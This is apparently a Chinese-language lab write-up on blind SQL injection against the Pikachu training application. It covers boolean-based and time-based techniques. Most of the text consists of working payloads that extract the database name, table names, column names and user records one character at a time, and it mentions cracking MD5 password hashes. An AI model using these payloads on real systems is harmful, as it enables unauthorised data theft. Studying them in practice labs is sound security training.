盲注(base on boolian)
通过输入kobe,kobe'和kobe'#可以判断存在字符型注入,并且只会返回true和false,不会返回报错信息。



判断库名的第一个字母
kobe' and ascii(substr(database(),1,1))>111#
kobe' and ascii(substr(database(),1,1))>112#
大于111,不大于112,则该字符的ASCII码为112,该字符为p。
可以检验一下。
kobe' and ascii(substr(database(),1,1))=112#

依次进行手动注入,可以得到库名pikachu。
接下来需要得到表名,操作与得到数据库名类似。
kobe' and ascii(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104#
可以拿到第一个表名的第一个字母h,依次进行手工注入,可以得到表名,httpinfo,member,message,users,xssblind。
接着我们需要拿到users的各个列名。
kobe' and ascii(substr((select column_name from information_schema.columns where table_name='users'limit 0,1),1,1))=85#
这样就拿到了users表的第一个字段名,依次可得到users表中的所有字段名。
紧接着我们还需要拿到字段username中的值。
kobe' and ascii(substr((select username from users limit 0,1),1,1))=97#
可以得到username字段第一个记录的第一个字母a。
同理也可以拿到password的记录,只不过还需要进行md5解密,
盲注(base on time)
kobe' and sleep(5)#
延时五秒。

利用延时,得到库名
kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

可以得到数据库名的第一个字母p,依次注入可以得到数据库名pikachu。
类似的可以得到表名和列名。
kobe' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='h',sleep(5),null)#